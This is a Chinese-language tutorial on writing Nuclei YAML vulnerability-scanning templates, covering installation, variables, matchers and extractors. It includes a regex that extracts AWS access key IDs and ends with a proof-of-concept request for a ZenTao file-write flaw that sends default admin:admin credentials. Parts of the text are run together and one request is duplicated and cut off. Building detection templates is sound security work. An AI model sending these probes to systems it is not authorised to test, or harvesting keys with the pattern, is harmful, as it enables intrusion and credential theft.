Nuclei Yaml模板编写漏洞poc

官网：https://nuclei.projectdiscovery.ioNuclei项目地址：https://github.com/projectdiscovery/nuclei Nuclei-Templates项目地址：https://github.com/projectdiscovery/nuclei-templates

#【在线源码编译安装】-需安装Go语言go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest#【本地源码编译安装】-需安装Go语言git clone https://github.com/projectdiscovery/nuclei.gitcd nuclei/v2/cmd/nucleigo buildmv nuclei /usr/local/bin/nuclei -version#【kali一键安装】-【推荐】-不需要安装Go语言，且仅限kali操作系统apt install nuclei#【macOS一键安装】-【推荐】-不需要安装Go语言，且仅限macOS操作系统brew install nuclei#【docker一键安装】-【推荐】-不需要安装Go语言docker pull projectdiscovery/nuclei:latest#【直接下载发行版】-【推荐】-不需要安装Go语言，适合各类操作系统https://github.com/projectdiscovery/nuclei/releases

id: git-config

info:  name: Git Config File Detection Template  author: Ice3man  severity: medium  description: Searches for the pattern /.git/config on passed URLs.  reference: https://www.acunetix.com/vulnerabilities/web/git-repository-found/  tags: git,config

requests:  - raw:      - |

GET /zentao/api-getModel-editor-save-filePath=bote HTTP/1.

requests:  - raw:      - |        GET /zentao/api-getModel-editor-save-filePath=bote HTTP/1.1        redirects: true         max-redirects: 3

{{BaseURL}} - 这将在请求的运行时替换为目标文件中指定的输入 URL。{{RootURL}} - 这将在运行时将请求中的根 URL 替换为目标文件中指定的根 URL。{{Hostname}} - 主机名变量被替换为主机名，包括运行时目标的端口。{{Host}} - 这将在运行时替换目标文件中指定的输入主机的请求。{{Port}} - 这将在请求中的运行时替换为目标文件中指定的输入端口。{{Path}} - 这将在请求中的运行时替换为目标文件中指定的输入路径。{{File}} - 这将在请求中的运行时替换为目标文件中指定的输入文件名。{{Scheme}} - 这将在运行时按目标文件中指定的协议替换模板中的请求。

Variable  Value{{BaseURL}}  https://example.com:443/foo/bar.php{{RootURL}}  https://example.com:443{{Hostname}}  example.com:443{{Host}}  example.com{{Port}}  443{{Path}}  /foo{{File}}  bar.php{{Scheme}}  https

# headers contain the headers for the requestheaders:  # Custom user-agent header  User-Agent: Some-Random-User-Agent  # Custom request origin  Origin: https://google.com

# Body is a string sent along with the requestbody: "{"some random JSON"}"# Body is a string sent along with the requestbody: "admin=test"

# cookie-reuse accepts boolean input and false as defaultcookie-reuse: true

    req-condition: true    matchers:      - type: dsl        dsl:          - "status_code_1 == 404 && status_code_2 == 200 && contains((body_2), 'secret_string')"

matchers:  # Match the status codes  - type: status    # Some status codes we want to match    status:      - 200      - 302

matchers:  - type: binary    binary:      - "504B0304" # zip archive      - "526172211A070100" # RAR archive version 5.0      - "FD377A585A0000" # xz tar.xz archive    condition: or    part: body

matchers:  - type: word    encoding: hex    words:      - "50494e47"    part: body

matchers:  - type: dsl    dsl:      - "len(body)<1024 && status_code==200" # Body length less than 1024 and 200 status code      - "contains(toupper(body), md5(cookie))" # Check if the MD5 sum of cookies is contained in the uppercase body

matchers:  # Match the body word  - type: word   # Some words we want to match   words:     - "[core]"     - "[config]"   # Both words must be found in the response body   condition: and   #  We want to match request body (default)   part: body

matchers:  - type: word    words:      - "PHPSESSID"    part: header    negative: true

matchers:  - type: word    name: php    words:      - "X-Powered-By: PHP"      - "PHPSESSID"    part: header  - type: word    name: node    words:      - "Server: NodeJS"      - "X-Powered-By: nodejs"    condition: or    part: header  - type: word    name: python    words:      - "Python/2."      - "Python/3."    condition: or    part: header

    matchers-condition: and    matchers:      - type: word        words:          - "X-Powered-By: PHP"          - "PHPSESSID"        condition: or        part: header      - type: word        words:          - "PHP"        part: body

regex - 根据正则表达式从响应中提取数据。kval - 从响应标头/Cookie 中提取key: value/key=value格式化数据json - 从基于 JSON 的响应中提取数据，使用类似 JQ 的语法。xpath - 从 HTML 响应中提取基于 xpath 的数据dsl - 根据 DSL 表达式从响应中提取数据。

extractors:  - type: regex # type of the extractor    part: body  # part of the response (header,body,all)    regex:      - "(A3T[A-Z0-9]|AKIA|AGPA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}"  # regex to use for extraction.

extractors:      - type: kval  # type of the extractor        kval:          - content_type  # header/cookie value to extract from response

      - type: json # type of the extractor        part: body        name: user        json:          - '.[] | .id'  # JQ like syntax for extraction

    extractors:      - type: xpath # type of the extractor        attribute: href # attribute value to extract (optional)        xpath:          - "/html/body/div/p[2]/a"  # xpath value for extraction

extractors:      - type: dsl  # type of the extractor        dsl:          - "len(body)"  # dsl expression value to extract from response

    extractors:      - type: regex        name: api        part: body        internal: true # Required for using dynamic variables        regex:          - "(?m)[0-9]{3,10}\.[0-9]+"

extractors:  - type: regex  # type of extractor    name: csrf_token # defining the variable name    part: body # part of response to look for    # group defines the matching group being used.     # In GO the "match" is the full array of all matches and submatches     # match[0] is the full match    # match[n] is the submatches. Most often we'd want match[1] as depicted below    group: 1    regex:      - '<inputsname="csrf_token"stype="hidden"svalue="([[:alnum:]]{16})"s/>'

id: zentao_Radafileinfo:  name: zentao_Radafile  author: Qinyinsafe  severity: high  description: 影响版本：11.6.1之前的版本requests:  - raw:      - |        GET /zentao/api-getModel-editor-save-filePath=bote HTTP/1.1        Host: {{Hostname}}        Cache-Control: max-age=0         Authorization: Basic YWRtaW46YWRtaW4=        Upgrade-Insecure-Requests: 1        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Edg/116.0.0.0        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7        Accept-Encoding: gzip, deflate        Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6        Cookie: lang=zh-cn; device=desktop; theme=default; windowWidth=1912; windowHeight=920; zentaosid=02fkulmkglh43lbjr9fkot1od7 #cookie        Connection: close    matchers:      - type: word        words:          - 'status'          - 'fail'